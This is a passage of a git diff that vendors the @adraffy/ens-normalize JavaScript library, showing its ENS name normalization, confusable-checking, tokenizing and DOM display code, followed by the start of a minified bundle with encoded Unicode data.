prev = i + 1; + } + } + buf.push(str_from_cps(cps.slice(prev, n))); + return buf.join(''); +} + +// note: set(s) cannot be exposed because they can be modified +// note: Object.freeze() doesn't work +function is_combining_mark(cp) { + init(); + return CM.has(cp); +} +function should_escape(cp) { + init(); + return ESCAPE.has(cp); +} + +// return all supported emoji as fully-qualified emoji +// ordered by length then lexicographic +function ens_emoji() { + init(); + return EMOJI_LIST.map(x => x.slice()); // emoji are exposed so copy +} + +function ens_normalize_fragment(frag, decompose) { + init(); + let nf = decompose ? nfd : nfc; + return frag.split(STOP_CH).map(label => str_from_cps(tokens_from_str(explode_cp(label), nf, filter_fe0f).flat())).join(STOP_CH); +} + +function ens_normalize(name) { + return flatten(split(name, nfc, filter_fe0f)); +} + +function ens_beautify(name) { + let labels = split(name, nfc, x => x); // emoji not exposed + for (let {type, output, error} of labels) { + if (error) break; // flatten will throw + + // replace leading/trailing hyphen + // 20230121: consider beautifing all or leading/trailing hyphen to unicode variant + // not exactly the same in every font, but very similar: "-" vs "‐" + /* + const UNICODE_HYPHEN = 0x2010; + // maybe this should replace all for visual consistancy? + // `node tools/reg-count.js regex ^-\{2,\}` => 592 + //for (let i = 0; i < output.length; i++) if (output[i] == 0x2D) output[i] = 0x2010; + if (output[0] == HYPHEN) output[0] = UNICODE_HYPHEN; + let end = output.length-1; + if (output[end] == HYPHEN) output[end] = UNICODE_HYPHEN; + */ + // 20230123: WHATWG URL uses "CheckHyphens" false + // https://url.spec.whatwg.org/#idna + + // update ethereum symbol + // ξ => Ξ if not greek + if (type !== 'Greek') array_replace(output, 0x3BE, 0x39E); + + // 20221213: fixes bidi subdomain issue, but breaks invariant (200E is disallowed) + // could be fixed with special case for: 2D (.) + 200E (LTR) + // https://discuss.ens.domains/t/bidi-label-ordering-spoof/15824 + //output.splice(0, 0, 0x200E); + } + return flatten(labels); +} + +function array_replace(v, a, b) { + let prev = 0; + while (true) { + let next = v.indexOf(a, prev); + if (next < 0) break; + v[next] = b; + prev = next + 1; + } +} + +function ens_split(name, preserve_emoji) { + return split(name, nfc, preserve_emoji ? x => x.slice() : filter_fe0f); // emoji are exposed so copy +} + +function split(name, nf, ef) { + if (!name) return []; // 20230719: empty name allowance + init(); + let offset = 0; + // https://unicode.org/reports/tr46/#Validity_Criteria + // 4.) "The label must not contain a U+002E ( . ) FULL STOP." + return name.split(STOP_CH).map(label => { + let input = explode_cp(label); + let info = { + input, + offset, // codepoint, not substring! + }; + offset += input.length + 1; // + stop + try { + // 1.) "The label must be in Unicode Normalization Form NFC" + let tokens = info.tokens = tokens_from_str(input, nf, ef); + let token_count = tokens.length; + let type; + if (!token_count) { // the label was effectively empty (could of had ignored characters) + //norm = []; + //type = 'None'; // use this instead of next match, "ASCII" + // 20230120: change to strict + // https://discuss.ens.domains/t/ens-name-normalization-2nd/14564/59 + throw new Error(`empty label`); + } + let norm = info.output = tokens.flat(); + check_leading_underscore(norm); + let emoji = info.emoji = token_count > 1 || tokens[0].is_emoji; // same as: tokens.some(x => x.is_emoji); + if (!emoji && norm.every(cp => cp < 0x80)) { // special case for ascii + // 20230123: matches matches WHATWG, see note 3.3 + check_label_extension(norm); // only needed for ascii + // cant have fenced + // cant have cm + // cant have wholes + // see derive: "Fastpath ASCII" + type = 'ASCII'; + } else { + let chars = tokens.flatMap(x => x.is_emoji ? [] : x); // all of the nfc tokens concat together + if (!chars.length) { // theres no text, just emoji + type = 'Emoji'; + } else { + // 5.) "The label must not begin with a combining mark, that is: General_Category=Mark." + if (CM.has(norm[0])) throw error_placement('leading combining mark'); + for (let i = 1; i < token_count; i++) { // we've already checked the first token + let cps = tokens[i]; + if (!cps.is_emoji && CM.has(cps[0])) { // every text token has emoji neighbors, eg. EtEEEtEt... + // bidi_qq() not needed since emoji is LTR and cps is a CM + throw error_placement(`emoji + combining mark: "${str_from_cps(tokens[i-1])} + ${safe_str_from_cps([cps[0]])}"`); + } + } + check_fenced(norm); + let unique = Array_from(new Set(chars)); + let [g] = determine_group(unique); // take the first match + // see derive: "Matching Groups have Same CM Style" + // alternative: could form a hybrid type: Latin/Japanese/... + check_group(g, chars); // need text in order + check_whole(g, unique); // only need unique text (order would be required for multiple-char confusables) + type = g.N; + // 20230121: consider exposing restricted flag + // it's simpler to just check for 'Restricted' + // or even better: type.endsWith(']') + //if (g.R) info.restricted = true; + } + } + info.type = type; + } catch (err) { + info.error = err; // use full error object + } + return info; + }); +} + +function check_whole(group, unique) { + let maker; + let shared = []; + for (let cp of unique) { + let whole = WHOLE_MAP.get(cp); + if (whole === UNIQUE_PH) return; // unique, non-confusable + if (whole) { + let set = whole.M.get(cp); // groups which have a character that look-like this character + maker = maker ? maker.filter(g => set.has(g)) : Array_from(set); + if (!maker.length) return; // confusable intersection is empty + } else { + shared.push(cp); + } + } + if (maker) { + // we have 1+ confusable + // check if any of the remaining groups + // contain the shared characters too + for (let g of maker) { + if (shared.every(cp => group_has_cp(g, cp))) { + throw new Error(`whole-script confusable: ${group.N}/${g.N}`); + } + } + } +} + +// assumption: unique.size > 0 +// returns list of matching groups +function determine_group(unique) { + let groups = GROUPS; + for (let cp of unique) { + // note: we need to dodge CM that are whitelisted + // but that code isn't currently necessary + let gs = groups.filter(g => group_has_cp(g, cp)); + if (!gs.length) { + if (!GROUPS.some(g => group_has_cp(g, cp))) { + // the character was composed of valid parts + // but it's NFC form is invalid + // 20230716: change to more exact statement, see: ENSNormalize.{cs,java} + // note: this doesn't have to be a composition + // 20230720: change to full check + throw error_disallowed(cp); // this should be rare + } else { + // there is no group that contains all these characters + // throw using the highest priority group that matched + // https://www.unicode.org/reports/tr39/#mixed_script_confusables + throw error_group_member(groups[0], cp); + } + } + groups = gs; + if (gs.length == 1) break; // there is only one group left + } + // there are at least 1 group(s) with all of these characters + return groups; +} + +// throw on first error +function flatten(split) { + return split.map(({input, error, output}) => { + if (error) { + // don't print label again if just a single label + let msg = error.message; + // bidi_qq() only necessary if msg is digits + throw new Error(split.length == 1 ? msg : `Invalid label ${bidi_qq(safe_str_from_cps(input, 63))}: ${msg}`); + } + return str_from_cps(output); + }).join(STOP_CH); +} + +function error_disallowed(cp) { + // TODO: add cp to error? + return new Error(`disallowed character: ${quoted_cp(cp)}`); +} +function error_group_member(g, cp) { + let quoted = quoted_cp(cp); + let gg = GROUPS.find(g => g.P.has(cp)); // only check primary + if (gg) { + quoted = `${gg.N} ${quoted}`; + } + return new Error(`illegal mixture: ${g.N} + ${quoted}`); +} +function error_placement(where) { + return new Error(`illegal placement: ${where}`); +} + +// assumption: cps.length > 0 +// assumption: cps[0] isn't a CM +// assumption: the previous character isn't an emoji +function check_group(g, cps) { + for (let cp of cps) { + if (!group_has_cp(g, cp)) { + // for whitelisted scripts, this will throw illegal mixture on invalid cm, eg. "e{300}{300}" + // at the moment, it's unnecessary to introduce an extra error type + // until there exists a whitelisted multi-character + // eg. if (M < 0 && is_combining_mark(cp)) { ... } + // there are 3 cases: + // 1. illegal cm for wrong group => mixture error + // 2. illegal cm for same group => cm error + // requires set of whitelist cm per group: + // eg. new Set([...g.P, ...g.Q].flatMap(nfc).filter(cp => CM.has(cp))) + // 3. wrong group => mixture error + throw error_group_member(g, cp); + } + } + //if (M >= 0) { // we have a known fixed cm count + if (g.M) { // we need to check for NSM + let decomposed = nfd(cps); + for (let i = 1, e = decomposed.length; i < e; i++) { // see: assumption + // 20230210: bugfix: using cps instead of decomposed h/t Carbon225 + /* + if (CM.has(decomposed[i])) { + let j = i + 1; + while (j < e && CM.has(decomposed[j])) j++; + if (j - i > M) { + throw new Error(`too many combining marks: ${g.N} ${bidi_qq(str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${M})`); + } + i = j; + } + */ + // 20230217: switch to NSM counting + // https://www.unicode.org/reports/tr39/#Optional_Detection + if (NSM.has(decomposed[i])) { + let j = i + 1; + for (let cp; j < e && NSM.has(cp = decomposed[j]); j++) { + // a. Forbid sequences of the same nonspacing mark. + for (let k = i; k < j; k++) { // O(n^2) but n < 100 + if (decomposed[k] == cp) { + throw new Error(`duplicate non-spacing marks: ${quoted_cp(cp)}`); + } + } + } + // parse to end so we have full nsm count + // b. Forbid sequences of more than 4 nonspacing marks (gc=Mn or gc=Me). + if (j - i > NSM_MAX) { + // note: this slice starts with a base char or spacing-mark cm + throw new Error(`excessive non-spacing marks: ${bidi_qq(safe_str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${NSM_MAX})`); + } + i = j; + } + } + } + // *** this code currently isn't needed *** + /* + let cm_whitelist = M instanceof Map; + for (let i = 0, e = cps.length; i < e; ) { + let cp = cps[i++]; + let seqs = cm_whitelist && M.get(cp); + if (seqs) { + // list of codepoints that can follow + // if this exists, this will always be 1+ + let j = i; + while (j < e && CM.has(cps[j])) j++; + let cms = cps.slice(i, j); + let match = seqs.find(seq => !compare_arrays(seq, cms)); + if (!match) throw new Error(`disallowed combining mark sequence: "${safe_str_from_cps([cp, ...cms])}"`); + i = j; + } else if (!V.has(cp)) { + // https://www.unicode.org/reports/tr39/#mixed_script_confusables + let quoted = quoted_cp(cp); + for (let cp of cps) { + let u = UNIQUE.get(cp); + if (u && u !== g) { + // if both scripts are restricted this error is confusing + // because we don't differentiate RestrictedA from RestrictedB + if (!u.R) quoted = `${quoted} is ${u.N}`; + break; + } + } + throw new Error(`disallowed ${g.N} character: ${quoted}`); + //throw new Error(`disallowed character: ${quoted} (expected ${g.N})`); + //throw new Error(`${g.N} does not allow: ${quoted}`); + } + } + if (!cm_whitelist) { + let decomposed = nfd(cps); + for (let i = 1, e = decomposed.length; i < e; i++) { // we know it can't be cm leading + if (CM.has(decomposed[i])) { + let j = i + 1; + while (j < e && CM.has(decomposed[j])) j++; + if (j - i > M) { + throw new Error(`too many combining marks: "${str_from_cps(decomposed.slice(i-1, j))}" (${j-i}/${M})`); + } + i = j; + } + } + } + */ +} + +// given a list of codepoints +// returns a list of lists, where emoji are a fully-qualified (as Array subclass) +// eg. explode_cp("abc💩d") => [[61, 62, 63], Emoji[1F4A9, FE0F], [64]] +// 20230818: rename for 'process' name collision h/t Javarome +// https://github.com/adraffy/ens-normalize.js/issues/23 +function tokens_from_str(input, nf, ef) { + let ret = []; + let chars = []; + input = input.slice().reverse(); // flip so we can pop + while (input.length) { + let emoji = consume_emoji_reversed(input); + if (emoji) { + if (chars.length) { + ret.push(nf(chars)); + chars = []; + } + ret.push(ef(emoji)); + } else { + let cp = input.pop(); + if (VALID.has(cp)) { + chars.push(cp); + } else { + let cps = MAPPED.get(cp); + if (cps) { + chars.push(...cps); // less than 10 elements + } else if (!IGNORED.has(cp)) { + // 20230912: unicode 15.1 changed the order of processing such that + // disallowed parts are only rejected after NFC + // https://unicode.org/reports/tr46/#Validity_Criteria + // this doesn't impact normalization as of today + // technically, this error can be removed as the group logic will apply similar logic + // however the error type might be less clear + throw error_disallowed(cp); + } + } + } + } + if (chars.length) { + ret.push(nf(chars)); + } + return ret; +} + +function filter_fe0f(cps) { + return cps.filter(cp => cp != FE0F); +} + +// given array of codepoints +// returns the longest valid emoji sequence (or undefined if no match) +// *MUTATES* the supplied array +// disallows interleaved ignored characters +// fills (optional) eaten array with matched codepoints +function consume_emoji_reversed(cps, eaten) { + let node = EMOJI_ROOT; + let emoji; + let pos = cps.length; + while (pos) { + node = node.get(cps[--pos]); + if (!node) break; + let {V} = node; + if (V) { // this is a valid emoji (so far) + emoji = V; + if (eaten) eaten.push(...cps.slice(pos).reverse()); // (optional) copy input, used for ens_tokenize() + cps.length = pos; // truncate + } + } + return emoji; +} + +// ************************************************************ +// tokenizer + +const TY_VALID = 'valid'; +const TY_MAPPED = 'mapped'; +const TY_IGNORED = 'ignored'; +const TY_DISALLOWED = 'disallowed'; +const TY_EMOJI = 'emoji'; +const TY_NFC = 'nfc'; +const TY_STOP = 'stop'; + +function ens_tokenize(name, { + nf = true, // collapse unnormalized runs into a single token +} = {}) { + init(); + let input = explode_cp(name).reverse(); + let eaten = []; + let tokens = []; + while (input.length) { + let emoji = consume_emoji_reversed(input, eaten); + if (emoji) { + tokens.push({ + type: TY_EMOJI, + emoji: emoji.slice(), // copy emoji + input: eaten, + cps: filter_fe0f(emoji) + }); + eaten = []; // reset buffer + } else { + let cp = input.pop(); + if (cp == STOP) { + tokens.push({type: TY_STOP, cp}); + } else if (VALID.has(cp)) { + tokens.push({type: TY_VALID, cps: [cp]}); + } else if (IGNORED.has(cp)) { + tokens.push({type: TY_IGNORED, cp}); + } else { + let cps = MAPPED.get(cp); + if (cps) { + tokens.push({type: TY_MAPPED, cp, cps: cps.slice()}); + } else { + tokens.push({type: TY_DISALLOWED, cp}); + } + } + } + } + if (nf) { + for (let i = 0, start = -1; i < tokens.length; i++) { + let token = tokens[i]; + if (is_valid_or_mapped(token.type)) { + if (requires_check(token.cps)) { // normalization might be needed + let end = i + 1; + for (let pos = end; pos < tokens.length; pos++) { // find adjacent text + let {type, cps} = tokens[pos]; + if (is_valid_or_mapped(type)) { + if (!requires_check(cps)) break; + end = pos + 1; + } else if (type !== TY_IGNORED) { // || type !== TY_DISALLOWED) { + break; + } + } + if (start < 0) start = i; + let slice = tokens.slice(start, end); + let cps0 = slice.flatMap(x => is_valid_or_mapped(x.type) ? x.cps : []); // strip junk tokens + let cps = nfc(cps0); + if (compare_arrays(cps, cps0)) { // bundle into an nfc token + tokens.splice(start, end - start, { + type: TY_NFC, + input: cps0, // there are 3 states: tokens0 ==(process)=> input ==(nfc)=> tokens/cps + cps, + tokens0: collapse_valid_tokens(slice), + tokens: ens_tokenize(str_from_cps(cps), {nf: false}) + }); + i = start; + } else { + i = end - 1; // skip to end of slice + } + start = -1; // reset + } else { + start = i; // remember last + } + } else if (token.type !== TY_IGNORED) { // 20221024: is this correct? + start = -1; // reset + } + } + } + return collapse_valid_tokens(tokens); +} + +function is_valid_or_mapped(type) { + return type == TY_VALID || type == TY_MAPPED; +} + +function requires_check(cps) { + return cps.some(cp => NFC_CHECK.has(cp)); +} + +function collapse_valid_tokens(tokens) { + for (let i = 0; i < tokens.length; i++) { + if (tokens[i].type == TY_VALID) { + let j = i + 1; + while (j < tokens.length && tokens[j].type == TY_VALID) j++; + tokens.splice(i, j - i, {type: TY_VALID, cps: tokens.slice(i, j).flatMap(x => x.cps)}); + } + } + return tokens; +} + +function hex_seq(cps) { + return cps.map(hex_cp).join(' '); +} + +function create_arrow_span() { + let span = document.createElement('span'); + span.classList.add('arrow'); + span.innerHTML = '➔'; // '→'; + return span; +} + +function span_from_cp(cp, in_emoji) { + let span = document.createElement('span'); + if (cp == 0x200D) { + span.classList.add('mod', 'zwj'); + span.innerText = 'ZWJ'; + } else if (cp == 0x200C) { + span.classList.add('mod', 'zwj'); + span.innerText = 'ZWNJ'; + } else if (cp == 0xFE0F) { + span.classList.add('mod', 'dropped', 'style'); + span.innerText = 'FE0F'; + } else if (cp == 0x20E3) { + span.classList.add('mod', 'keycap'); + span.innerText = 'Keycap'; + } else if (cp >= 0xE0021 && cp <= 0xE007E) { // printable ascii tag + span.classList.add('mod', 'tag'); + span.innerText = String.fromCodePoint(cp - 0xE0000); + } else if (cp == 0xE007F) { // tag end + span.classList.add('mod', 'tag', 'end'); + span.innerText = '⌫'; // 🏷️ + } else if (!in_emoji && should_escape(cp)) { + span.classList.add('code'); + span.innerText = hex_cp(cp); + } else { + span.innerText = safe_str_from_cps([cp]); + } + return span; +} + +// idea +//export function dom_from_token(token) { + +function format_tooltip(obj, extra) { + let lines = Object.entries(obj).map(([k, v]) => `${k}: ${v}`); + if (Array.isArray(extra)) lines.push(...extra); + return lines.join('\n'); +} + +function isolated_safe(cps) { + return cps.map(cp => safe_str_from_cps([cp])).join('\u{200B}') +} + +// TODO: these options are shit, fix this +function dom_from_tokens(tokens, { + before = false, + tld_class = true, + components = false, + emoji_url = 'https://emojipedia.org/%s', + extra = () => {}, +} = {}) { + let div = document.createElement('div'); + div.classList.add('tokens'); + /* + if (before) { + // dont use normalized form unless its simple + tokens = tokens.flatMap(token => { + if (token.type === 'nfc' && !token.tokens.every(t => t.type == 'valid')) { + return token.tokens; + } else { + return token; + } + }); + } + */ + div.append(...tokens.map((token, i) => { + let el; + switch (token.type) { + case 'emoji': { + el = document.createElement(emoji_url ? 'a' : 'span'); + if (emoji_url) el.href = emoji_url.replace('%s', String.fromCodePoint(...token.emoji)); + let cps = before ? token.input : token.cps; + if (components) { + el.append(...cps.map(cp => span_from_cp(cp, true))); + } else { + el.innerText = String.fromCodePoint(...token.emoji); // use fully-qualified form + } + el.title = format_tooltip({ + Type: 'Emoji', + Hex: hex_seq(cps), + Beautified: hex_seq(token.emoji), + }, extra(token.type, cps)); + break; + } + case 'nfc': { + el = document.createElement('div'); + // get the cps from the original tokens + let cps0 = token.tokens0.flatMap(t => t.type === 'valid' ? t.cps : t.cp); // this can only be mapped/ignored/valid + // break every valid token into individual characters + let lhs = dom_from_tokens(token.tokens0.flatMap(t => t.type === 'valid' ? t.cps.map(cp => ({type: 'valid', cps: [cp]})) : t), {components, before, emoji_url, extra}); + lhs.title = format_tooltip({ + Type: 'NFC (Unnormalized)', + Hex: hex_seq(cps0), + }, extra(token.type, cps0)); + el.append(lhs); + if (!before) { + let rhs = dom_from_tokens(token.tokens, {components, emoji_url, extra}); + rhs.title = format_tooltip({ + Type: 'NFC (Normalized)', + Hex: hex_seq(token.cps), + }, extra(token.type, token.cps)); + el.append(create_arrow_span(), rhs); + } + break; + } + case 'valid': { + el = document.createElement('span'); + let form = safe_str_from_cps(token.cps); + if (tld_class && (tokens.length == 1 || (i === tokens.length-1 && tokens[i-1].type === 'stop')) && /[a-z]/.test(form)) { + // theres just 1 token/or we're the last token with a stop before us + //el.classList.add(form); + // 20230909: this triggered for stupid things + el.dataset.tld = form; + } + el.innerText = form; + el.title = format_tooltip({ + Type: 'Valid', + Hex: hex_seq(token.cps), + }, extra(token.type, token.cps)); + break; + } + case 'mapped': { + el = document.createElement('div'); + let span_src = document.createElement('span'); + span_src.classList.add('before'); + span_src.innerText = safe_str_from_cps([token.cp]); // isolate ? isolated_safe([token.cp]) : + span_src.title = format_tooltip({ + Type: 'Mapped (Match)', + Hex: hex_cp(token.cp), + }, extra(token.type, [token.cp])); + el.append(span_src); + if (!before) { + let span_dst = document.createElement('span'); + span_dst.innerText = isolated_safe(token.cps); // safe_str_from_cps(token.cps); + span_dst.title = format_tooltip({ + Type: 'Mapped (Replacement)', + Hex: hex_seq(token.cps), + }, extra(token.type, token.cps)); + el.append(create_arrow_span(), span_dst); + } + break; + } + case 'stop': + case 'ignored': + case 'disallowed': { + el = span_from_cp(token.cp); + el.title = format_tooltip({ + Type: token.type, + Hex: hex_cp(token.cp), + }, extra(token.type, [token.cp])); + break; + } + default: throw new TypeError(`unknown token type: ${token.type}`); + } + el.classList.add(token.type); + return el; + })); + return div; +} + +function use_default_style() { + let style = document.createElement('style'); + style.innerText = ` + .tokens { + display: flex; + flex-wrap: wrap; + gap: 2px; + } + .tokens > * { + padding: 2px 4px; + display: flex; + align-items: center; + gap: 4px; + border-radius: 5px; + overflow: hidden; + } + .tokens a { + text-decoration: none; + } + .tokens a:hover { + border-color: #00f; + } + .tokens .valid { + background: #cfc; + border: 2px solid #0a0; + line-break: anywhere; + } + .tokens [data-tld="eth"].valid { + color: #fff; + background: #58f; + border-color: #58f; + } + .tokens [data-tld="art"].valid { + color: #fff; + background: #333; + border-color: #333; + } + .tokens [data-tld="box"].valid { + color: #fff; + background: #666; + border-color: #666; + } + .tokens [data-tld="com"].valid, + .tokens [data-tld="net"].valid, + .tokens [data-tld="org"].valid, + .tokens [data-tld="io"].valid, + .tokens [data-tld="cash"].valid, + .tokens [data-tld="xyz"].valid { + color: #fff; + background: #0a0; + border-color: #0a0; + } + .tokens .ignored { + color: #fff; + background: #aaa; + font-size: 75%; + font-family: monospace; + } + .tokens .disallowed { + background: #c00; + min-width: 5px; + min-height: 1em; + border-radius: 5px; + color: #fff; + } + .tokens .disallowed.code { + font-size: 75%; + background: #800; + } + .tokens .disallowed.mod { + border: 2px solid #800; + font-size: 80%; + } + .tokens .disallowed.mod.tag { + background: #f00; + color: #000; + } + .tokens .mapped { + display: flex; + border: 2px solid #66f; + background: #ccf; + } + .tokens .mapped span:first-child { + margin-bottom: -4px; + border-bottom: 4px solid #000; + text-align: center; + min-width: 0.5rem; + } + .tokens .stop { + font-weight: bold; + background: linear-gradient(#fff, #ff0); + padding-bottom: 0; + border: 1px solid #ccc; + } + .tokens .emoji { + border: 2px solid #0aa; + background: #cff; + color: #000; + } + .tokens .mod { + color: #fff; + } + .tokens * .mod { + font-size: 70%; + padding: 2px; + border-radius: 3px; + } + .tokens .emoji .mod { + background: #333; + } + .tokens .emoji .mod.zwj { + background: #0aa; + } + .tokens .emoji .mod.tag { + background: #0aa; + } + .tokens .emoji .mod.tag.end { + background: #066; + } + .tokens .emoji .mod.dropped { + background: #aaa; + } + .tokens .arrow { + color: rgba(0, 0, 0, 0.35); + user-select: none; + margin: 0 -2px; + } + .tokens .code { + font-family: monospace; + } + .tokens .nfc { + display: flex; + border: 2px solid #c80; + background: #fd8; + border-radius: 5px; + padding: 2px; + }`; + document.body.append(style); +} + +// see: https://github.com/adraffy/ens-normalize.js#security +const derived = "2023-09-06T06:00:29.074Z"; +const unicode = "15.1.0 (2023-09-06T02:58:19.261Z)"; +const cldr = "43.1 (2023-09-03T21:58:22.687Z)"; +const base64_ens_hash = "0565ed049b9cf1614bb9e11ba7d8ac6a6fb96c893253d890f7e2b2884b9ded32"; +const base64_nf_hash = "a974b6f8541fc29d919bc85118af0a44015851fab5343f8679cb31be2bdb209e"; +const spec_hash = "1f6d3bdb7a724fe3b91f6d73ab14defcb719e0f4ab79022089c940e7e9c56b9c"; +const built = "2023-09-25T01:01:55.148Z"; +const version = "1.10.1"; + +var includeVersions = /*#__PURE__*/Object.freeze({ + __proto__: null, + base64_ens_hash: base64_ens_hash, + base64_nf_hash: base64_nf_hash, + built: built, + cldr: cldr, + derived: derived, + spec_hash: spec_hash, + unicode: unicode, + version: version +}); + +export { compare_arrays, dom_from_tokens, ens_beautify, ens_emoji, ens_normalize, ens_normalize_fragment, ens_split, ens_tokenize, explode_cp, hex_cp, is_combining_mark, nfc, nfd, quote_cp, random_choice, random_sample, run_tests, safe_str_from_cps, should_escape, str_from_cps, use_default_style, includeVersions as versions }; diff --git a/node_modules/@adraffy/ens-normalize/dist/all.min.js b/node_modules/@adraffy/ens-normalize/dist/all.min.js new file mode 100644 index 000000000000..c44024271b6c --- /dev/null +++ b/node_modules/@adraffy/ens-normalize/dist/all.min.js @@ -0,0 +1 @@ +var A="AEEUdwmgDS8BxQKKAP4BOgDjATAAngDUAIMAoABoAOAAagCOAEQAhABMAHIAOwA9ACsANgAmAGIAHgAuACgAJwAXAC0AGgAjAB8ALwAUACkAEgAeAAkAGwARABkAFgA5ACgALQArADcAFQApABAAHgAiABAAGgAeABMAGAUhBe8BFxREN8sF2wC5AK5HAW8ArQkDzQCuhzc3NzcBP68NEfMABQdHBuw5BV8FYAA9MzkI9r4ZBg7QyQAWA9CeOwLNCjcCjqkChuA/lm+RAsXTAoP6ASfnEQDytQFJAjWVCkeXAOsA6godAB/cwdAUE0WlBCN/AQUCQRjFD/MRBjHxDQSJbw0jBzUAswBxme+tnIcAYwabAysG8QAjAEMMmxcDqgPKQyDXCMMxA7kUQwD3NXOrAKmFIAAfBC0D3x4BJQDBGdUFAhEgVD8JnwmQJiNWYUzrg0oAGwAUAB0AFnNcACkAFgBP9h3gPfsDOWDKneY2ChglX1UDYD30ABsAFAAdABZzIGRAnwDD8wAjAEEMzRbDqgMB2sAFYwXqAtCnAsS4AwpUJKRtFHsadUz9AMMVbwLpABM1NJEX0ZkCgYMBEyMAxRVvAukAEzUBUFAtmUwSAy4DBTER33EftQHfSwB5MxJ/AjkWKQLzL8E/cwBB6QH9LQDPDtO9ASNriQC5DQANAwCK21EFI91zHwCoL9kBqQcHBwcHKzUDowBv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0faxTRE9wuGeO06DIXa6QlKJ3puIyiuAVfPr736vzo2pBirS+Vxel3TMm3JKhz9o2ZoRvaFVpIkykb0Hcm4oHFBMcNSNj7/4GJt43ogonY2Vg4nsDQIWxAcorpXACzgBqQPjYsE/VUpXpwNManEru4NwMCFPkXvMoqvoeLN3qyu/N1eWEHttMD65v19l/0kH2mR35iv/FI+yjoHJ9gPMz67af3Mq/BoWXqu3rphiWMXVkmnPSEkpGpUI2h1MThideGFEOK6YZHPwYzMBvpNC7+ZHxPb7epfefGyIB4JzO9DTNEYnDLVVHdQyvOEVefrk6Uv5kTQYVYWWdqrdcIl7yljwwIWdfQ/y+2QB3eR/qxYObuYyB4gTbo2in4PzarU1sO9nETkmj9/AoxDA+JM3GMqQtJR4jtduHtnoCLxd1gQUscHRB/MoRYIEsP2pDZ9KvHgtlk1iTbWWbHhohwFEYX7y51fUV2nuUmnoUcqnWIQAAgl9LTVX+Bc0QGNEhChxHR4YjfE51PUdGfsSFE6ck7BL3/hTf9jLq4G1IafINxOLKeAtO7quulYvH5YOBc+zX7CrMgWnW47/jfRsWnJjYYoE7xMfWV2HN2iyIqLI";const t=new Map([[8217,"apostrophe"],[8260,"fraction slash"],[12539,"middle dot"]]),e=4;function n(A){return function(A){let t=0;return()=>A[t++]}(function(A){let t=0;function e(){return A[t++]<<8|A[t++]}let n=e(),o=1,r=[0,1];for(let A=1;A>--c&1}const p=2**31,a=p>>>1,w=p-1;let C=0;for(let A=0;A<31;A++)C=C<<1|f();let g=[],B=0,Q=p;for(;;){let A=Math.floor(((C-B+1)*o-1)/Q),t=0,e=n;for(;e-t>1;){let n=t+e>>>1;A>>1|f(),l=l<<1^a,s=(s^a)<<1|a|1;B=l,Q=1+s-l}let d=n-4;return g.map((t=>{switch(t-d){case 3:return d+65792+(A[s++]<<16|A[s++]<<8|A[s++]);case 2:return d+256+(A[s++]<<8|A[s++]);case 1:return d+A[s++];default:return t-1}}))}(function(A){let t=[];[..."ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"].forEach(((A,e)=>t[A.charCodeAt(0)]=e));let e=A.length,n=new Uint8Array(6*e>>3);for(let o=0,r=0,l=0,s=0;o=8&&(n[r++]=s>>(l-=8));return n}(A)))}function o(A){return 1&A?~A>>1:A>>1}function r(A,t){let e=Array(A);for(let n=0,r=0;n{let t=l(A);if(t.length)return t}))}function c(A){let t=[];for(;;){let e=A();if(0==e)break;t.push(p(e,A))}for(;;){let e=A()-1;if(e<0)break;t.push(a(e,A))}return t.flat()}function i(A){let t=[];for(;;){let e=A(t.length);if(!e)break;t.push(e)}return t}function f(A,t,e){let n=Array(A).fill().map((()=>[]));for(let o=0;on[t].push(A)));return n}function p(A,t){let e=1+t(),n=t(),o=i(t);return f(o.length,1+A,t).flatMap(((A,t)=>{let[r,...l]=A;return Array(o[t]).fill().map(((A,t)=>{let o=t*n;return[r+t*e,l.map((A=>A+o))]}))}))}function a(A,t){return f(1+t(),1+A,t).map((A=>[A[0],A.slice(1)]))}function w(A){return A.toString(16).toUpperCase().padStart(2,"0")}function C(A){return`{${w(A)}}`}function g(A){let t=[];for(let e=0,n=A.length;et){for(let n=0;n>24&255}function H(A){return 16777215&A}let F,G,O,L;function P(A){return A>=D&&A=h&&A=k&&tm&&tA.map((A=>[A,t+1<<24]))))),G=new Set(l(A)),O=new Map,L=new Map;for(let[t,e]of c(A)){if(!G.has(t)&&2==e.length){let[A,n]=e,o=L.get(A);o||(o=new Map,L.set(A,o)),o.set(n,t)}O.set(t,e.reverse())}}();let t=[],e=[],o=!1;function r(A){let e=F.get(A);e&&(o=!0,A|=e),t.push(A)}for(let n of A)for(;;){if(n<128)t.push(n);else if(P(n)){let A=n-D,t=A%b/I|0,e=A%I;r(h+(A/b|0)),r(k+t),e>0&&r(m+e)}else{let A=O.get(n);A?e.push(...A):r(n)}if(!e.length)break;n=e.pop()}if(o&&t.length>1){let A=x(t[0]);for(let e=1;e0&&o>=A)0==A?(t.push(n,...e),e.length=0,n=l):e.push(l),o=A;else{let r=S(n,l);r>=0?n=r:0==o&&0==A?(t.push(n),n=l):(e.push(l),o=A)}}return n>=0&&t.push(n,...e),t}(V(A))}const j=45,T=46,Z=".",Y=65039,y=1,v=A=>Array.from(A);function X(A,t){return A.P.has(t)||A.Q.has(t)}class W extends Array{get is_emoji(){return!0}}let q,$,_,AA,tA,eA,nA,oA,rA,lA,sA,cA;function iA(){if(q)return;let t=n(A);const e=()=>l(t),o=()=>new Set(e()),r=(A,t)=>t.forEach((t=>A.add(t)));q=new Map(c(t)),$=o(),_=e(),AA=new Set(e().map((A=>_[A]))),_=new Set(_),tA=o(),eA=o();let f=s(t),p=t();const a=()=>{let A=new Set;return e().forEach((t=>r(A,f[t]))),r(A,e()),A};nA=i((A=>{let e=i(t).map((A=>A+96));if(e.length){let n=A>=p;return e[0]-=32,e=B(e),n&&(e=`Restricted[${e}]`),{N:e,P:a(),Q:a(),M:!t(),R:n}}})),oA=o(),rA=new Map;let w=e().concat(v(oA)).sort(((A,t)=>A-t));w.forEach(((A,e)=>{let n=t(),o=w[e]=n?w[e-n]:{V:[],M:new Map};o.V.push(A),oA.has(A)||rA.set(A,o)}));for(let{V:A,M:t}of new Set(rA.values())){let e=[];for(let t of A){let A=nA.filter((A=>X(A,t))),n=e.find((({G:t})=>A.some((A=>t.has(A)))));n||(n={G:new Set,V:[]},e.push(n)),n.V.push(t),r(n.G,A)}let n=e.flatMap((A=>v(A.G)));for(let{G:A,V:o}of e){let e=new Set(n.filter((t=>!A.has(t))));for(let A of o)t.set(A,e)}}lA=new Set;let C=new Set;const g=A=>lA.has(A)?C.add(A):lA.add(A);for(let A of 